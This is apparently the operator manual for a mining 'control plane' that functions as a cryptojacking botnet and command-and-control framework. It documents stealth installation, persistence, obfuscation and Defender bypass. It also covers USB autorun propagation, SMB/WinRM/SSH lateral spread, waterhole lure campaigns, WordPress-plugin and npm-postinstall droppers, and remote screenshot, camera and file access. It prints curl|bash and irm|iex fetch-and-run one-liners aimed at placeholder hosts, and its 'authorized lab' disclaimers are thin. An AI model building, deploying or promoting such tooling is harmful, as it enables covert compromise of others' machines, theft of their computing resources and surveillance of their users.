Overview — What is AetherForge?

AetherForge is a self-hosted mining control plane for machines you own or administer. One control PC runs the Go server on port 8989; a React command deck shows live fleet stats; cross-platform worker agents mine Monero (CPU) and optionally Ravencoin (GPU), phone home over WebSocket, and accept remote commands from the Crucible terminal.

Unlike cloud pool dashboards, you bake configuration at forge time — wallet, pool, server URL, stealth, persistence, USB spread, fusion packaging — then distribute a single binary or ZIP. The server proxies Stratum to your pool, stores fleet state in SQLite, and gates access with HTTP Basic auth plus a per-fleet secret baked into every agent.

The workflow is: Calibrate → Forge → deploy once per worker → monitor on Command Deck and Fleet Roster. Optional layers include prep/movie fusion, USB perpetual propagation, LAN lateral spread, Emberwake campaign links, and Path Tracer WireGuard multi-hop routing.

Architecture layers

Key paths

• Server config: data/config.json
• Fleet database: data/miner.db
• User credentials: data/users.json (bcrypt); first-run passwords in data/login-credentials.json
• Forged builds archive: data/builds/{build-id}/
• Dashboard build (served): server/webroot/
• Agent source: agent/

Quick Start

The fastest path on a Windows control PC is devrun.bat at the repo root. It installs Go and Node if missing, builds the React dashboard, compiles bin\miner-server.exe, copies server\web\dist → server\webroot, and starts the server. The browser opens http://localhost:8989.

First run creates admin and comrade accounts with random passwords printed in the console and saved to data/login-credentials.json. Sign in, open Calibrate, set wallet + pool + public URL, then Forge a worker pointing at your LAN IP or tunnel URL.

devrun.bat (development)

devrun.bat
# → http://localhost:8989
# Console shows first-run passwords

Manual build

cd server\web
npm install
npm run build

cd ..\..
xcopy /E /I /Y server\web\dist\* server\webroot\

cd server
go build -ldflags="-s -w" -o ..\bin\miner-server.exe .

cd ..
bin\miner-server.exe -port 8989 -data .\data

Docker (Tier 2 CI / Linux agent)

For isolated server + Linux agent regression without a Windows VM, use the Docker compose stack. Server listens on host port 18989; credentials are testuser / testpass (see docker/data/users.json).

docker compose -f docker/docker-compose.yml up --build
# Dashboard: http://localhost:18989
# Teardown: docker compose -f docker/docker-compose.yml down --rmi local -v

Full notes: docker/README.md. Agent container has no internet egress — mines via server-broadcast jobs only.

Portable USB deck

Run pack-usb.bat to build usb\AetherForge.exe with bundled webroot, agent source, and Go toolchain. Copy usb\ to a USB drive; double-click LAUNCH.bat on any Windows PC. See the USB Portable Deck section for details.

Network URL in Forge

Workers auto-convert http(s):// → ws(s)://…/ws/agent. Only outbound access from workers is required.

Command Deck

The React command deck is the operator-facing UI. After login, the main routes cover fleet overview, agent roster, forge builder, build manager, Crucible remote terminal, Emberwake campaigns, Path Tracer, and Calibrate settings. Advanced mode unlocks matrix rain overlay, AI activity panel, and extra forge options.

Live data flows over /ws/dashboard using a one-time ticket from POST /api/v1/auth/ws-ticket. Fleet health score (0–100) weights online percentage, accept rate, pool status, and hashrate. The 3D topology map (React Three Fiber) orbits agents around the server node.

Command Deck (home)

• Fleet hashrate gauges, CPU/RAM, share feed, XMR price (CoinGecko, 10 min cache)
• Contribution map with USD/day estimates; underperformer list (<70% median)
• OS/arch breakdown, LAN group view by /24 subnet
• Monero and Ravencoin sections (separate CPU vs GPU stats)
• Install funnel — agents per build over 7 days, USB-spread flag
• Operator audit strip — last forge, commands, config saves

Command deck route guide

/builder and /spread redirect to /forge and /emberwake.

How to read the Command Deck

The top row is your fast triage layer. Fleet Hash is the 15-minute rolling aggregate, Est. Daily combines the live hashrate estimate with the current XMR price cache, Accept highlights share quality, and Nodes Live tells you immediately whether a bad pool day is really a connectivity day.

Below that, Fleet Health is the composite score to trust when the page is busy. It blends online percentage, accept rate, pool state, and current fleet behavior into one number, then colors the card green / amber / red. Treat it as the dashboard's summary judgment, then use the supporting panels to see why the score moved.

Overview vs Advanced mode

Advanced mode is persisted in browser storage. It is intended for an operator who is staying in the deck for a while, not for a quick hallway check. When chart noise gets in the way, switch back to Overview.

Fleet Roster (Agents)

• Compact rows — click to expand inline details and remote action strip
• Fleet Groups — multi-select, named colour-coded groups; selectable in Crucible
• Remote control: pause/resume/restart miner, sysinfo, screenshot, live view, camera, file browser (Windows)
• Power: reboot, shutdown, Wake-on-LAN (UDP magic packet to stored MAC)
• Live stats ticker every 5s while agent online; offline banner disables controls

Crucible (Command Terminal)

Route /crucible — select one or many agents (or a Fleet Group). Send raw commands, PowerShell, or preset tactical ops; output streams to the terminal in real time. Gold rain overlay activates when a single agent is selected. Tabs: Ops, Recon, Files (File Manager), Spread, Tunnels. Full command reference: Crucible Commands. /agents redirects here.

• Heat map — sidebar colors nodes by hashrate; spike flash on H/s jumps; toggle topo view for subnet clusters
• Access Depth — single-node panel: spread + mining onion, lotl_attempts, adaptive Strategy reasoning, phenotype clone badge, clearance L0–L4, join_lane, atlas skips
• Probe & Join — discover_and_join: service discovery → signed deploy plan → best LOTL lane
• Spread tab — credential graph (cred_edges), service graph summary, spread template export (WinRM, Linux LOTL, GPO, Intune)

File Manager (single online node): list_dir, read_file (512 KB cap), upload, download, path breadcrumbs — cross-platform. Requires online WebSocket (not beacon-only).

LOTL Timeline (Onion)

Route /lotl-timeline (nav label Onion; legacy /onion redirects). Per-agent live view of the 14-tier spread chain, mining execution tiers, fleet progress bars, AI decision history (when AI Control enabled), Singular Machine Court sessions, clearance elevation log, and phenotype "cloned from" badges. Links back to Crucible Access Depth for the selected node.

Full tier glossary: Spread Techniques → LOTL Onion · repo tests/README.md § LOTL vector glossary.

Fleet intelligence

Server-side learning for your fleet only — not third-party telemetry.

Precedence: phenotype inherit > Fleet AI Control (when on) > adaptive strategy > Calibrate defaults. patch_first and risk gates always apply.

Emberwake

Dashboard tab at /emberwake — campaign link builder, A/B ?pin= rotation, spread-kit export, shared operator notes (WebSocket sync). Copies one-liners for curl|bash, irm|iex, and public download URLs with ?c= campaign tags.

War Room — funnel, table, and constellation views with hashrate heat normalization. Live agent rows show join_lane badges (last successful Probe & Join lane: do_peer, dns_txt, winrm, etc.).

Path Tracer

Multi-hop WireGuard path builder. Hop 1 gets client peer 10.66.0.1/32; multi-hop adds reverse peers on middle/exit hops. Sessions auto-expire after 2 hours with wg_teardown. Windows agents may auto-download WireGuard on first use if not pre-installed.

Calibrate

• Wallet, pool, public URL, users, fleet secret rotation
• Telegram + SMTP alert notifications and thresholds
• Fleet task scheduler — on_connect, interval, cron
• Cloudflare tunnel token, tunnel defaults
• public_builds_enabled — expose all builds on unauthenticated public API

Command Deck operating rhythm

1. Open Command Deck first and check Fleet Health, Nodes Live, and Accept.
2. If health is amber/red, inspect pool status and the underperformer list before touching config.
3. Open Agents only after the dashboard tells you which machines need attention.
4. Use Builds to verify what is currently pinned before forging anything new.
5. Use Calibrate for durable defaults; use Forge only for build-specific overrides.

Crucible Commands — Agent Reference

All commands dispatch via POST /api/v1/agents/{id}/command or POST /api/v1/agents/bulk-command. Aggressive ops require remote_aggressive baked or staged at runtime. Capabilities gate UI buttons — re-forge or push Crucible Ops module pack if disabled.

Mining & lifecycle

System & power

Recon & posture

Files

Network, spread & tunnels

Firewall, persistence & registry (aggressive)

Forge / Builder

Forge compiles per-target worker binaries via POST /api/v1/builder/build. Preflight checks wallet, server URL, pool, fusion payload, and AI settings before compile. Blueprints save/load profiles for re-forge across machines (confirmation required before re-running a saved blueprint).

Outputs include single-platform exe, Spread Kit ZIP, Universal ZIP (all platforms), prep fusion, and movie fusion packages. Build manager lists downloads, LAN QR codes, pin/public flags, and dropper URLs.

Target profiles

Builder workflow from blank form to archived artifact

1. Choose the target profile. Start with one OS/arch unless you specifically need a multi-platform ZIP.
2. Set the runtime identity. Worker name, server URL, and output directory are the fields that shape how the build is tracked later.
3. Review defaults from Calibrate. The builder inherits server-side defaults; only override fields that truly differ for this build.
4. Run preflight mentally before compile. Confirm output path, signing configuration, and any packaging choices.
5. Compile once, then archive the result. Every successful build is copied into data/builds/{build-id}/ so the Build Manager becomes the source of truth.

Builder field families

Blueprint discipline

Blueprints are most useful when you treat them like named operating recipes, not casual snapshots. Good examples are per-campus defaults, per-lab output conventions, or per-platform release templates. The reason the UI asks for confirmation before re-forge is that a saved blueprint often represents a real rollout shape, not just a draft.

Build Manager relationship

The Builder creates artifacts. The Build Manager is where those artifacts become operational inventory. After compile, use the Build Manager to confirm the build is present, decide whether it should be pinned for install helpers, and verify the archive contains the expected download set. If the Builder is your workshop, Build Manager is your release shelf.

Safe operator checklist before pressing build

• Use a reachable server_url; prefer the actual LAN or public endpoint instead of localhost.
• Keep output names predictable so archived builds are readable weeks later.
• Use single-platform builds for quick iteration; use universal output only when distribution really needs it.
• Confirm signing inputs before compile if the environment expects signed artifacts.
• After compile, verify the artifact in Build Manager instead of trusting only the toast or progress state.

Forge simple mode — spread profile chips

• Web Drop — dropper landing + install scripts
• Desktop Fusion — prep or movie bundle
• LAN Kindling — SMB / SSH lateral spread flags
• Crucible Ops — remote aggressive ops enabled

Key forge settings — stealth & persistence

• Thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog
• USB Propagation, Share Spread, LAN Auto-Spread
• Backup pools and backup server URLs (advanced)
• Garble obfuscation, Sigil scramble, Authenticode / osslsigncode signing
• Connection profile — beacon interval, jitter, kill-after-days, HTTPS beacon fallback
• Build size limits enforced via checkBuildSizeFile on universal/spread-kit/fusion ZIPs

Output locations

Cancel in-flight compile

DELETE /api/v1/builder/cancel/{token}

Operation modes (Forge skins)

Forge and Mission Deck share six baked presets — each sets stealth, spread, fusion, and garble flags:

Path Forge

POST /api/v1/builder/path-forge walks a server-side directory and drops OS launchers next to every file (hint file excluded from placement count). Mac targets require server_url at forge time. Output uses /api/download/agent-* at runtime. Working on Windows server; validate paths before batch runs.

Mission Deck

Route /mission-deck — the fast path when you already know the rough shape of the deployment: pick Ghost / Loud / Spread, optionally layer a spread profile, set campaign slug and identity fields, then Equip & Strike once. The page forges the agent, exports a spread-kit ZIP when the loadout requires it. Copy install one-liners from Builds when the run finishes.

When to use which: Mission Deck = preset loadout + one-click pipeline. Forge (/forge) = every build option (fusion batches, blueprints, stealth tuning). Emberwake (/emberwake) = tag links, export lure kits, and read campaign funnels — forge the agent on Mission Deck or Forge first. Builds (/builds) = download artifacts, pin the dropper, and copy pinned one-liners anytime.

Automated pipeline (3 steps)

1. Apply loadout presets — operation chip + spread profile + worker, server URL, wallet
2. Build agent installer — POST /api/v1/builder/build with presets applied
3. Package spread-kit ZIP — POST /api/v1/builder/spread-kit-export when spread profile demands it; then open Builds for install one-liners

Operation chips

Spread profile chips

• Web Drop — dropper + install scripts (default campaign slug)
• Desktop Fusion — prep or movie fusion packaging
• LAN Kindling — SMB / SSH lateral spread flags
• Crucible Ops — remote_aggressive for dashboard tunnels and firewall suite

Presence avatars (“Also Here”) show other logged-in operators on the same page via WebSocket presence.

Build Manager

Route /builds — operational inventory for every forged artifact. The Builder creates; Build Manager tracks what is pinned, public, and ready for dropper one-liners.

Per-build actions

Dropper behaviour

• Pinned: /get, /install.ps1, /install.sh always serve the pinned build
• Unpinned: most recently forged build wins
• Public builds: GET /api/v1/public/builds lists pinned + public-flagged + latest 3 (or all when public_builds_enabled)

iex (irm 'http://YOUR-DECK:8989/install.ps1')
curl -sL http://YOUR-DECK:8989/install.sh | bash
http://YOUR-DECK:8989/get?pin={build_id}&c=campaign-slug

Emberwake & Campaigns

AetherForge supports multiple distribution vectors: USB perpetual propagation, LAN lateral movement (SMB / WinRM on Windows, SSH on Linux/macOS), waterhole dropper pages, and one-liner install scripts. Campaign attribution uses ?c=slug on dropper and public download URLs; agents report AETHER_CAMPAIGN on connect.

Modern browsers block silent drive-by execution — users must click download and run. AetherForge maps to authorized lab patterns: first-party install docs, spread-kit landers, fusion bundles, and email→lander→pinned build chains. Step-by-step playbooks: Spread Techniques (tabbed) · research matrix: SPREAD_TECHNIQUES.md. Operator UI: Emberwake.

Dropper endpoints (unauthenticated)

USB perpetual propagation

Enable USB Propagation at forge time. Within 8 seconds of USB insert:

1. Drop agent into hidden folder (~RECYCLER, System Volume Information, etc.)
2. Write autorun.inf, folder-icon LNK, and SETUP.BAT fallback
3. Create decoy folder (Documents / Photos)
4. Install WMI event subscription for future USB mounts

LAN spread

• Share Spread — copy to mounted network shares + WinRM lateral install (Windows)
• LAN Auto-Spread — SMB admin$ / SSH lateral movement (gated behind C2 auth)
• ARP-first subnet scan via deploy/subnet.go — IPv6 /64 + IPv4 /24

Emberwake / waterhole kit

• Campaign War Room funnel board: GET /api/v1/emberwake/war-room?days=7 — hits, downloads, first_beacon, mining, hashrate per ?c= slug; Emberwake funnel cards + stats table; live WS tick every 30s (emberwake_war_room)
• Legacy hit totals: GET /api/v1/emberwake/campaigns
• Spread-kit web export: POST /api/v1/builder/spread-kit-export (auth)
• WordPress plugin ZIP: POST /api/v1/builder/wordpress-plugin-export (auth)
• npm helper ZIP: POST /api/v1/builder/npm-helper-export (auth)
• Public builds: pinned + public-flagged + latest N (or all when public_builds_enabled)
• Login page drawer: GET /api/v1/public/builds — no credentials required

Example one-liners

# Linux server
curl -sL https://your.site/install.sh | bash

# Windows Server
irm https://your.site/install.ps1 | iex

# Pinned build + campaign
https://your.site/get?pin={build_id}&c=docs

WordPress plugin supply chain (owned site)

Export a ready-to-upload plugin ZIP from Emberwake → Supply-chain export wizard (or quick export). Templates live in templates/wordpress-plugin/. The plugin is hosted on a WordPress installation you operate — it is not submitted to wordpress.org or any third-party plugin directory.

High-level flow

1. Forge and pin the build you want for this wave.
2. Emberwake: set server URL, site name (plugin slug), optional campaign override.
3. Download ZIP → Plugins → Add New → Upload Plugin on your owned WP host.
4. Activate — admins see an update notice linking to /get?c=wp-{site} on your command deck.
5. Track connects under Emberwake → Campaign hits (wp-{site} slug).

Nitty-gritty

ZIP layout: {slug}/{slug}.php + readme.txt. The main PHP file defines AF_HELPER_DOWNLOAD, registers an admin notice, and adds a Tools page documenting the operator-owned model. End users still confirm off-site downloads — WordPress does not silently sideload binaries from your server.

POST /api/v1/builder/wordpress-plugin-export
{
  "build_id": "uuid-from-forge",
  "server_url": "https://deck.example:8989",
  "site_name": "my-blog",
  "campaign": "wp-my-blog"
}

Pair with the static spread kit (/spread/) when you want a full waterhole page on the same origin; the plugin path is for update-check / admin-notice distribution on CMS you already control.

Hosting checklist

• Download ZIP from Emberwake → Supply-chain export wizard (step 3) or quick export.
• Unzip locally — layout is {slug}/{slug}.php + readme.txt.
• WordPress Admin → Plugins → Add New → Upload Plugin → choose the ZIP.
• Install Now → Activate on your owned host (not wordpress.org).
• Log in as admin — confirm the notice links to /get?c=wp-{site} on your command deck.
• Optionally open Tools → {site} to verify campaign slug and download URL.
• Track funnel under Emberwake → Campaign War Room (wp-{site} slug).

npm postinstall helper (your packages only)

Export a private npm package skeleton from Emberwake → Export npm package template ZIP. Templates live in templates/npm-helper-package/. The postinstall script curls your command-deck install.sh with AETHER_CAMPAIGN set — for registries and projects you publish and authorize.

High-level flow

1. Emberwake: set server URL, campaign slug, optional pinned build.
2. Unzip → adjust package.json name if needed.
3. Publish to a registry you control (private npm, Verdaccio, GitHub Packages).
4. Add as dependency only in authorized CI/dev environments.
5. npm install runs postinstall → install.sh?c=…&pin=… → agent checks in.

Nitty-gritty

• scripts/postinstall.cjs — Unix uses curl | bash; Windows uses irm | iex.
• Default package name: @aetherforge/{campaign}-helper (scoped, private flag in template).
• API: POST /api/v1/builder/npm-helper-export with build_id, server_url, campaign.

Out of scope: typosquatting public npm packages or hijacking third-party dependency chains. This template is for purple-team / lab pipelines where you own the registry and the machines that run npm install.

POST /api/v1/builder/npm-helper-export
{
  "build_id": "uuid-from-forge",
  "server_url": "https://deck.example:8989",
  "campaign": "ci-bootstrap"
}

Hosting checklist

• Download ZIP from Emberwake → Supply-chain export wizard (step 3) or quick export.
• Unzip — verify package.json name (@aetherforge/{campaign}-helper) and scripts/postinstall.cjs.
• Adjust scope/name if your private registry requires a different namespace.
• npm publish --access restricted (or equivalent) to a registry you operate.
• Add the package as a dependency only in authorized CI/dev repos.
• Run npm install in a test environment — confirm postinstall curls install.sh?c=…&pin=….
• Track campaign slug in Emberwake → Campaign War Room after first agent beacon.

Agent — Windows / Linux / macOS

The worker agent is compiled on demand from agent/. It connects via WebSocket /ws/agent using a fleet-secret auth frame, falls back to HTTPS beacon after configurable minutes if WebSocket is down, and mines silently with no visible CMD windows.

All child processes use CREATE_NO_WINDOW / detached flags. The only user-visible event on first launch is typically a single UAC prompt (Windows) for persistence and firewall rules.

Full cross-platform matrix: Platform Matrix.

Staged modules (runtime feature packs)

Thin agents can enable forge flags at runtime without re-forging. The server stores signed JSON manifests in data/modules/. Default packs:

• Crucible Ops (crucible_ops) — remote_aggressive for dashboard tunnels, scans, firewall, defender bypass
• Spread Pack (spread) — auto_spread + usb_spread for lateral and passive propagation
• GPU Miner (gpu) — gpu_enabled for KawPoW RVN when wallet and hardware are present

Each manifest includes display_name, summary, description, capabilities (human-readable list for the dashboard preview), and features (agent flags). Forge operation modes (PathForge, Spread Kit, Crucible Storm, etc.) stay intact — packs are runtime add-ons, not replacements.

UI flow: Calibrate → Staged Modules → pick a pack card → choose target (all online or fleet group) → review preview → Push Crucible Ops to Group X. The server queues fetch_module; the worker downloads GET /api/v1/agent/module/{name} with X-Fleet-Secret, verifies HMAC, applies flags in memory, and emits capabilities_update. The dashboard shows a success toast when agents report updated capabilities.

Fleet policy (server push)

Calibrate → Fleet Policy pushes policy_update over WebSocket (or HTTPS beacon when WS is down): mining_mode, schedule_start/schedule_end, max_cpu_usage_pct, and optional pool host/port overrides. The miner schedule guard and CPU cap update without restart; pool overrides apply to Stratum fallback and local resource guards.

Remote commands (sample)

• Runtime: fetch_module (stage signed pack from server)
• Mining: pause, resume, restart
• Recon: sysinfo, ps, netstat, listen_ports, posture
• Network: connectivity_probe, firewall_*, smb_shares, spread_status
• Files: list_dir, read_file (512 KB cap), upload/download
• Tunnels: tunnel_cloudflared, tunnel_ssh_forward, tunnel_status, tunnel_stop

Agent logs

• Server cache: data/logs/{agent-id}.log
• On worker: %LOCALAPPDATA%/{install-dir}/miner.log (when file_logging enabled)
• API: GET /api/v1/agents/{id}/log?refresh=1 (90s long-poll timeout)

Mining — XMR, RVN/GPU, Pools

CPU mining uses RandomX via pure-Go go-randomx (BSD-3-Clause). Workers submit shares through the server's Stratum proxy — one upstream connection per wallet/host with PaymentID in the pool key to avoid integrated-address collisions. If C2 is unreachable for >30s, agents mine directly to the pool and return to proxy when reconnected.

GPU mining (Windows only) auto-detects vendor at runtime: NVIDIA uses T-Rex (CUDA), AMD uses TeamRedMiner (OpenCL), both on KawPoW for Ravencoin. Local HTTP API polling reports 15s/1m/15m hashrate, temperature, fan speed, and power draw.

Pool configuration

Set primary pool and wallet in Calibrate. Forge bakes these into the agent. Advanced forge supports backup pools as a fallback Stratum list.

Hashrate reporting

• 15s / 1m / 15m rolling averages over WebSocket
• Separate CPU (XMR) and GPU (RVN) channels on dashboard
• Earnings estimator: GET /api/v1/earnings/estimate + SupportXMR live data
• XMR spot price: GET /api/v1/market/xmr (CoinGecko, 10 min cache)

GPU vendor table

Tier 0 mining validation (no C2)

cd agent
go run ./cmd/mine-validate -seconds 20 -threads 2

AV-Safe Mining — Default Strategy

New forges default to in-process RandomX (miner_execution=inprocess). The agent hashes Monero inside the Go binary via go-randomx — no XMRig, no child .exe download. Use the Forge AV-Safe operation chip or preset for CPU-only fleets: GPU off, no process hollowing, no spread kit, no garble.

Why turning Defender "off" often does nothing

• Real-time protection (RTP) — what the GUI toggle usually disables; can be re-enabled by Tamper Protection or Group Policy.
• Tamper Protection — blocks Set-MpPreference, registry disables, and agent SilentAVExclusion without admin + temporary tamper off.
• Cloud-delivered protection — uploads unknown binaries; garbled/obfuscated agents score higher.
• Controlled folder access — blocks writes to Documents/Desktop even when RTP is "off".
• Behavioral / AMSI — PowerShell exclusions, hollow/spread installers, and GPU miner spawns trigger alerts independent of RTP.
• Third-party AV — McAfee, Norton, etc. ignore Windows Security UI entirely.

Windows operator checklist

1. Forge with AV-Safe or Miner Execution → In-process RandomX.
2. Calibrate → Windows Defender Exclusions → copy/download .ps1 → run elevated on each worker.
3. Windows Security → Virus & threat protection → Manage settings → turn off Tamper Protection briefly while applying exclusions.
4. Add path exclusion for install dir (default under %LOCALAPPDATA%\CryptoMiner\) and process exclusion for forged .exe name.
5. Disable or allowlist Controlled folder access if the agent cannot write its install tree.
6. Crucible → Mining Diagnostics on a stuck agent — JSON lists pause state, job delivery, Defender RTP, GPU subprocess status.
7. For GPU (RVN): expect T-Rex/TRM downloads to be quarantined — use dedicated mining rigs without consumer AV or pre-stage binaries with vendor allowlists.

Honest limits

No architecture is 100% invisible to modern AV. The lowest-friction legitimate stack is: in-process CPU mining + manual Defender exclusions + dedicated hardware for GPU. Container mode and remote defender_off are optional layers, not guarantees.

Container Mining — Optional Isolation

Forge can bake miner_execution=auto or container. On agent start the supervisor probes for docker or podman in PATH. When a runtime is available, CPU RandomX can run inside an OCI container; the host agent keeps the C2 WebSocket and remote commands. If no runtime is installed or docker run fails, the agent falls back to in-process pure-Go RandomX (no external CPU miner binary).

Honest AV expectations

• Containers are not invisible to antivirus — docker.exe, image layers, and pulls are still observable.
• Primary benefit: legitimate process isolation — mining workload separate from the host agent; fewer blocked subprocess spawns for GPU (T-Rex / TeamRedMiner).
• In-process RandomX already avoids a separate CPU miner .exe; container mode helps when the agent binary itself is quarantined or GPU miners are deleted on spawn.

Forge options

Operator setup

1. Windows: Install Docker Desktop; ensure docker version works in the same user context as the agent.
2. Linux: sudo apt install docker.io (or Podman); add the agent user to the docker group or use rootless Podman.
3. Build the worker image: docker build -f docker/Dockerfile.agent -t aetherforge/agent-worker:latest .
4. Optional: set AETHERFORGE_MINER_IMAGE on the host to a private registry tag.
5. Re-forge with Miner Execution → Auto (or Container) in the Calibrate / Forge deck.

Architecture

  ┌──────────────── Host (agent.exe) ────────────────┐
  │  WebSocket C2 · commands · stats · GPU supervisor │
  │         │ docker run                             │
  │         ▼                                         │
  │  ┌──────────── OCI container ────────────┐       │
  │  │  agent-worker · RandomX · Stratum/C2  │       │
  │  └───────────────────────────────────────┘       │
  └──────────────────────────────────────────────────┘
        

Mining fallback chain

The agent runs a unified cascade on start, on remote resume, and whenever the active method fails. Order (when miner_execution=auto and Docker/Podman is present): container → in-process RandomX → GPU subprocess (parallel RVN) → direct Stratum overlay. Each failure is logged and sent to the dashboard as mining_fallback; live stats include active_method, failed_methods[], and last_error. Full chain re-passes wait 30 seconds (cooldown). GPU RVN runs in parallel once CPU primary is up — it does not replace RandomX. Stratum direct overlays in-process workers when C2 is offline or jobless.

When the container exits, the chain advances to in-process automatically. Server auto-resume on connect still applies; container mode pauses host workers while the container is healthy.

Platform Matrix

Accurate feature parity across worker OS targets. Status labels match code audit (PROBLEMS.md).

Control server (operator PC)

Alerts & AI

Fleet notifications are configured under Calibrate → Alert Notifications. Telegram bot token and chat ID (your user ID from @userinfobot, not the bot's) drive per-event pushes. Optional SMTP email uses the same event matrix. Use Send test notification after save to verify delivery.

Alert events

Fleet AI Control (Calibrate)

Calibration Control toggles server.ai_control_enabled. When on, the server Fleet AI scheduler polls connected agents on ai_decision_interval_sec (default 60s), calls a local OpenAI-compatible endpoint (ai_endpoint, default http://127.0.0.1:11434/v1), parses commands[], and dispatches fleet actions (restart_mining, discover_and_join, spread_now, etc.). Decisions surface on LOTL Timeline. Audit: GET /api/v1/ai/decisions?agent_id=.

Precedence: when AI Control is on, it replaces adaptive strategy for tier-order decisions. Phenotype inherit still wins on auth when a sibling fingerprint match exists.

AI personas

Adaptive strategy

Separate from Fleet AI: the adaptive engine (server/internal/strategy/) learns mining tier order from your fleet stats only. Pushes adaptive_strategy on auth with strategy_reasoning[] bullets. Crucible Access Depth → Strategy tab shows the trace. Disable via server.adaptive_strategy_enabled. Manual refresh: POST /api/v1/strategy/recompute.

Per-agent Ollama autonomy (Forge)

Optional forge flag bakes AI Autonomy into workers. Ollama runs on the control server PC (default http://localhost:11434), not on workers. The worker calls C2 /api/v1/agent/decide → server queries Ollama → tool calls execute on the agent (adjust threads, self-heal, persistence checks). Best combined with self-healing watchdog. Re-forge after changing.

ollama pull llama3.2
# Forge: enable AI Autonomy, set model name (e.g. llama3.2), confirm endpoint

Calibrate

Route /settings — server-side defaults and fleet policy. Changes here affect new Forge forms and live server behaviour; already-forged agents keep baked settings until re-forged (except fleet policy push and staged modules).

Core server

Fleet alerts & tasks

• Fleet Alerts — offline minutes, hashrate drop %, rejection %; evaluator enforces thresholds
• Telegram + SMTP — per-event matrix; POST /api/v1/alerts/test
• KEV exposure notify — optional ping on critical Full Sys Check indicators
• Fleet Tasks — on_connect, on_reconnect, interval_hours, daily cron (HH:MM)
• Task actions: sysinfo, full_sys_check, powershell, exec, pause, resume, restart

Fleet policy & staged modules

• Fleet Policy — PUT /api/v1/fleet/policy pushes mining_mode, schedule, max_cpu_usage_pct, optional pool overrides live
• LOTL onion tiers — server.lotl_onion_tiers (14 spread tiers); agents with lotl_policy_from_server pull order on auth
• Triple onion policy — patch_first, skip_mining_on_high_risk gates for recon → deploy → mining
• Adaptive strategy — adaptive_strategy_enabled (default on); mining tier personalization from fleet outcomes
• AI Control — ai_control_enabled, ai_endpoint, ai_model, ai_persona, ai_decision_interval_sec, ai_auto_elevate_clearance
• Deployment credentials — named profiles in config.json + vault files under data/deployment-creds/ for SMB/WinRM spread
• Staged Modules — POST /api/v1/fleet/modules/push queues fetch_module for Crucible Ops / Spread / GPU packs
• Manifests in data/modules/*.json — HMAC-signed with fleet secret

Tunnels & signing defaults

• Cloudflare Tunnel Token — saved to config.json + data/cloudflared-token.txt; server starts cloudflared tunnel run on launch (Windows server auto-launch; Linux server stub)
• tunnel_defaults.cloudflared_target_url — defaults from server.public_url
• Forge pipeline — garble default, Authenticode thumbprint, timestamp URL, signtool path

Users & backup

• Users — bcrypt in data/users.json; POST /api/v1/users adds accounts
• Fleet secret rotation — POST /api/v1/server/rotate-secret kicks agents; re-forge required
• Deck backup — GET /api/v1/backup ZIP (config + DB + users)
• Operator audit — GET /api/v1/audit (last 50 actions)

Inline field help in the UI mirrors these settings — see HelpTip icons on Forge and Calibrate forms.

Path Tracer

Route /pathtracer — multi-hop WireGuard chain builder for reaching agents through intermediate fleet nodes. Sessions auto-expire after 2 hours with background wg_teardown.

Workflow

1. Select online fleet agents as hops (entry → middle → exit)
2. POST /api/v1/pathtrace/start — server orchestrates wg_setup / wg_configure on each hop
3. Poll GET /api/v1/pathtrace/{id}/status until ready
4. Download QR or .conf via GET /api/v1/pathtrace/{id}/qr — import into WireGuard app
5. DELETE /api/v1/pathtrace/{id} tears down session

Topology (fixed 2026-06-04)

• Hop 1 receives client peer 10.66.0.1/32
• Single-hop chains no longer get empty peer lists
• Multi-hop adds reverse peers on middle and exit hops
• Hop names resolve from fleet DB AgentName (fallback hop-N)

Platform notes

Pair with tunnel_wireguard agent command for per-node tunnels outside Path Tracer sessions.

Security & Auth

The dashboard uses HTTP Basic auth for REST. Session persists in browser storage until tab close; transport blips keep saved credentials with a degraded banner (distinct from 401 logout). WebSocket auth prefers one-time tickets; agents use a fleet secret baked at forge time.

Auth surface

Fleet secret

Random token generated at server start, stored in data/config.json, baked into every forged agent. Rotate via Calibrate → fleet secret rotation (POST /api/v1/server/rotate-secret); existing agents must be re-forged to pick up the new secret. The same secret signs module manifests — agents reject tampered packs when the HMAC does not match.

Users

• data/users.json — bcrypt cost 12
• First-run: admin + comrade with random passwords
• Manage under Calibrate → Users

USB Portable Deck

The portable bundle is a control deck on a stick — separate from agent USB propagation. Run pack-usb.bat from the repo root to produce usb\ with AetherForge.exe, webroot, agent/fusion source, bundled Go toolchain, and starter data/config.json.

Copy the entire usb\ folder to a USB drive. On any Windows PC, double-click LAUNCH.bat — Cloudflare tunnel sidecar starts first, then the server. Dashboard opens at http://localhost:8989 (or the port in data/config.json).

pack-usb.bat steps

1. Build frontend; compile AetherForge.exe
2. Copy webroot, agent source, fusion source, Go toolchain → usb\
3. Create data\ with starter config
4. Sync LAUNCH.bat

LAUNCH.bat behaviour

• Reads port from data/config.json for display
• Launches without -port CLI so config file wins
• Starts cloudflared when token present; sets AF_TUNNEL_EXTERNAL=1 to avoid duplicate spawn
• Default connector token seeded in usb/data/cloudflared-token.txt — replace with your own

API Reference — Key Endpoints

Full route list lives in server/internal/api/router.go. Below are the most-used operator and agent paths. Authenticated routes require Basic auth unless noted.

Troubleshooting & E2E Validation

Use tiered validation before production fleet deployment. Tier 0 proves mining only; Tier 1 runs automated CI; Tier 2 uses Docker or Linux VM for C2 regression; Tier 3 requires a disposable Windows VM for full payload tests (spread, GPU, screenshot, aggressive ops).

Common symptoms

Docker CI mining proof (Tier 2 automated)

On every push, GitHub Actions runs .github/workflows/ci-docker-mining.yml, which builds docker/docker-compose.yml, waits up to 3 minutes, and asserts an online Linux agent reports hashrate > 0 via GET /api/v1/agents and GET /api/v1/dashboard/stats (Basic auth testuser / testpass). Test wallet and fleet secret are fixed in docker/data/config.json and docker/agent-builtin.go.

# Linux / macOS / CI
scripts/ci-docker-mining.sh

# Windows + Docker Desktop
.\scripts\ci-docker-mining.ps1

# Manual compose + assert
docker compose -f docker/docker-compose.yml up --build -d
scripts/ci-docker-mining.sh

E2E orchestration

.\scripts\e2e-validate.ps1              # Tiers 0–1 + VM checklist
.\scripts\e2e-validate.ps1 -PrepareOnly  # isolated data-e2e\ + instructions
.\scripts\smoke-test.ps1 -BaseUrl http://127.0.0.1:8989
.\scripts\ci-docker-mining.ps1           # Docker Linux agent hashrate proof
test.bat                                 # full suite

Tier 3 Windows VM playbook

1. Prepare isolated data-e2e\ with test wallet (see docs/E2E_VALIDATION.md)
2. Forge e2e-validate Windows worker; snapshot VM before run
3. Run agent once; verify Fleet Roster online
4. Crucible checklist: sysinfo, pause/resume, connectivity_probe, get_log, screenshot
